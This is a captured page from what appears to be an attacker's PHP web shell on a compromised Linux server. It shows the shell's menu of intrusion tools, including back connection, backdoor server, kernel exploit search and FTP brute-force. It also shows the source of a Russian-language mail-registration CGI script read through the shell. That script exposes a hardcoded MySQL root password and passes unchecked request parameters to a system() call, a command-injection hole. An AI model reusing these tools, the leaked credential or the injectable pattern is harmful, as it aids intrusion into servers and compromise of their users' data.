|
System | : | Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686 |
Software | : | Apache. PHP/5.3.6-13ubuntu3.10 |
ID | : | uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
|
|
Safe Mode | : | OFF |
Open_Basedir | : | OFF |
Freespace | : | 30.74 GB of 70.42 GB (43.66%) |
|
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON |
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
|
[ System Info ]
[ Processes ]
[ SQL Manager ]
[ Eval ]
[ Encoder ]
[ Mailer ]
[ Back Connection ]
[ Backdoor Server ]
[ Kernel Exploit Search ]
[ MD5 Decrypter ]
[ Reverse IP ]
[ Kill Shell ]
[ FTP Brute-Force ]
|
|
/
http/
cgi-bin/
mail/
- drwxrwxrwx
|
Viewing file: mail.cgi (3.15 KB) -rwxr-xr-xSelect action/file-type:  ( +) |  ( +) |  ( +) | Code ( +) | Session ( +) |  ( +) | SDB ( +) |  ( +) |  ( +) |  ( +) |  ( +) |  ( +) |
#!/usr/bin/perl
use DBI(); use CGI qw(:standard);
$authl = param("authl"); $authp = param("authp"); system "./auth.cgi mail.cgi $authl $authp"; $retcode = $? / 256; if ($retcode ne "1") {exit;}
my $cooke = cookie('mail.miranet'); if ($cooke eq "") {print "<html><meta http-equiv=\"refresh\" content=\"0\"></html>"; exit;} if ($cooke eq "0") {print "<html><body><h1>Forbidden</h1><hr>Недостаточно прав"; exit;}
$database="mail"; $hostname="127.0.0.1"; $port="3306"; $dbuser="root"; $dbpasswd="zopa25703";
$dsn = "DBI:mysql:database=$database;host=$hostname;port=$port"; $dbh = DBI->connect_cached($dsn, $dbuser, $dbpasswd) || die;
#print "Content-type: text/html\n\n"; open(patt,"<./patt_n1.html")||die "Pattern file 1 not found"; while(<patt>) { print; } close(patt); #------------------------------------------------------------------ print " <center><table border=0 cellspacing=0><tr><td bgcolor=#004070> <center><font color=#ffff00 face=\"arial\" size=4><b>Регистрация почтового ящика</b></font> </td></tr><tr><td> <table bgcolor=#005090> <form name=\"form1\" action=\"reg.cgi\" method=\"POST\"> <tr><td><br><font color=#ffffff face=\"arial\">Почтовый ящик:</font></td><td><br><input type=\"text\" name=\"uname\"><font color=#ffffff face=\"arial\"> \@ <select name=\"dom\"></font>"; $sth = $dbh->prepare("SELECT * FROM transport"); $sth->execute(); #if ($cooke ne "1") {print "<option value=yalagina.ru >yalagina.ru</option>";} #if ($cooke eq "1") #{ while (my ($domain) = $sth->fetchrow_array()) { if ($cooke eq "1") {print "<option value=$domain >$domain</option>";} else { if ($cooke eq $domain) {print "<option value=$domain >$domain</option>";} } } #} #"<option value=miranet.ru >miranet.ru</option><option value=la2.su >la2.su</option><option value=la2net.ru >la2net.ru</option>"
print "</select></td></tr> <tr><td><font color=#ffffff face=\"arial\">Имя пользователя:</font></td><td><input type=\"text\" name=\"un\"> <font color=#ffffff face=\"arial\"><input type=\"checkbox\" name=\"asmb\" checked> как имя почтового ящика</font></td></tr> <tr><td><font color=#ffffff face=\"arial\">Пароль:</font></td><td><input type=\"password\" name=\"passwd1\"></td></tr> <tr><td><font color=#ffffff face=\"arial\">Повтор пароля:</font></td><td><input type=\"password\" name=\"passwd2\"></td></tr> <tr><td><font color=#ffffff face=\"arial\">Лимит:</font></td><td><input type=\"text\" name=\"quot\" value=\"20\"><font color=#ffffff face=\"arial\"> МБ (не более 1024)</font></td></tr> <tr><td><font color=#ffffff face=\"arial\">Коментарий:</font></td><td><input type=\"text\" name=\"comment\"></td></tr>
<tr><td><hr></td><td><hr></td></tr> <tr><td></td><td><input type=\"submit\" value=\"Ok\" /></td></tr> </table></td></tr></table> </b></center></form> <hr>\n </center><b>| <a href=\"manage.cgi\">Учётные записи</a> |"; if ($cooke eq "1") {print " <a href=\"domain.cgi\">Настройка доменов</a> |";} print "</b>";
$dbh->disconnect();
#------------------------------------------------------------------ open(patt,"<./patt_n2.html")||die "Pattern file 2 not found"; while(<patt>) { print; } close(patt); system ("../../counter.cgi mail");
|